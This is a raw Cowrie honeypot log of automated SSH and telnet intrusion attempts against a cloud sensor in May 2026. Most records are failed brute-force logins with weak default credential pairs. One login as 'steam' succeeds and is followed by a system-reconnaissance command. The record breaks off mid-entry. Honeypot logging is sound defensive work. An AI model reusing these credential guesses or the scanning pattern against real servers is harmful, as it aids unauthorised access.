{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:24.695003Z","src_ip":"192.109.200.237","session":"66532cd2373b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hzx","password":"hzx","message":"login attempt [hzx/hzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:25.086699Z","src_ip":"192.109.200.237","session":"66532cd2373b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:26.171759Z","src_ip":"192.109.200.237","session":"66532cd2373b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57512,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab5d101c9cb3","protocol":"ssh","message":"New connection: 192.109.200.237:57512 (159.203.135.109:22) [session: ab5d101c9cb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:28.288057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:28.292622Z","src_ip":"192.109.200.237","session":"ab5d101c9cb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:28.377634Z","src_ip":"192.109.200.237","session":"ab5d101c9cb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:28.623837Z","src_ip":"192.109.200.237","session":"ab5d101c9cb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:29.708122Z","src_ip":"192.109.200.237","session":"ab5d101c9cb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59680,"dst_ip":"159.203.135.109","dst_port":22,"session":"787804659336","protocol":"ssh","message":"New connection: 192.109.200.237:59680 (159.203.135.109:22) [session: 787804659336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:31.630717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:31.635668Z","src_ip":"192.109.200.237","session":"787804659336","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:31.718658Z","src_ip":"192.109.200.237","session":"787804659336","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345678","message":"login attempt [user1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:32.171863Z","src_ip":"192.109.200.237","session":"787804659336","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.92275595664978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:32.599919Z","src_ip":"50.6.8.71","session":"739419b2a19d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:33.262477Z","src_ip":"192.109.200.237","session":"787804659336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37946,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cdcd873c1ef","protocol":"telnet","message":"New connection: 50.6.8.71:37946 (10.17.0.5:23) [session: 8cdcd873c1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:34.968266Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59696,"dst_ip":"159.203.135.109","dst_port":22,"session":"256c121d4563","protocol":"ssh","message":"New connection: 192.109.200.237:59696 (159.203.135.109:22) [session: 256c121d4563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:35.237808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:35.307444Z","src_ip":"192.109.200.237","session":"256c121d4563","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:35.391160Z","src_ip":"192.109.200.237","session":"256c121d4563","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:35.642346Z","src_ip":"192.109.200.237","session":"256c121d4563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:36.728986Z","src_ip":"192.109.200.237","session":"256c121d4563","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59702,"dst_ip":"159.203.135.109","dst_port":22,"session":"203ce6a1b816","protocol":"ssh","message":"New connection: 192.109.200.237:59702 (159.203.135.109:22) [session: 203ce6a1b816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:38.684895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:38.689140Z","src_ip":"192.109.200.237","session":"203ce6a1b816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:38.772110Z","src_ip":"192.109.200.237","session":"203ce6a1b816","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"*****","message":"login attempt [steam/*****] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:39.021787Z","src_ip":"192.109.200.237","session":"203ce6a1b816","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:39.229573Z","src_ip":"192.109.200.237","session":"203ce6a1b816","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:39.232590Z","src_ip":"192.109.200.237","session":"203ce6a1b816","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:39.318161Z","src_ip":"192.109.200.237","session":"203ce6a1b816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:39.322928Z","src_ip":"192.109.200.237","session":"203ce6a1b816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57748,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e81894cfbc3","protocol":"ssh","message":"New connection: 192.109.200.237:57748 (159.203.135.109:22) [session: 3e81894cfbc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:42.149067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:42.241192Z","src_ip":"192.109.200.237","session":"3e81894cfbc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:42.245179Z","src_ip":"192.109.200.237","session":"3e81894cfbc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:42.594228Z","src_ip":"192.109.200.237","session":"3e81894cfbc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56586,"dst_ip":"10.17.0.5","dst_port":23,"session":"8caa517685e2","protocol":"telnet","message":"New connection: 50.6.8.71:56586 (10.17.0.5:23) [session: 8caa517685e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:42.988685Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:43.679509Z","src_ip":"192.109.200.237","session":"3e81894cfbc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56604,"dst_ip":"10.17.0.5","dst_port":23,"session":"62c8dda64f14","protocol":"telnet","message":"New connection: 50.6.8.71:56604 (10.17.0.5:23) [session: 62c8dda64f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:44.024279Z"}
{"eventid":"cowrie.session.closed","duration":33.782663106918335,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:44.084931Z","src_ip":"50.6.8.71","session":"3d5943776815","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57754,"dst_ip":"159.203.135.109","dst_port":22,"session":"7aa84c757b28","protocol":"ssh","message":"New connection: 192.109.200.237:57754 (159.203.135.109:22) [session: 7aa84c757b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:45.791144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:45.795791Z","src_ip":"192.109.200.237","session":"7aa84c757b28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:45.877903Z","src_ip":"192.109.200.237","session":"7aa84c757b28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:46.128330Z","src_ip":"192.109.200.237","session":"7aa84c757b28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56588,"dst_ip":"10.17.0.5","dst_port":23,"session":"29e8875153da","protocol":"telnet","message":"New connection: 50.6.8.71:56588 (10.17.0.5:23) [session: 29e8875153da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:46.648883Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:47.213379Z","src_ip":"192.109.200.237","session":"7aa84c757b28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.22844672203064,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:48.970927Z","src_ip":"50.6.8.71","session":"cf2f0063f86f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57766,"dst_ip":"159.203.135.109","dst_port":22,"session":"985b2afec3e3","protocol":"ssh","message":"New connection: 192.109.200.237:57766 (159.203.135.109:22) [session: 985b2afec3e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:49.230173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:49.236374Z","src_ip":"192.109.200.237","session":"985b2afec3e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"mac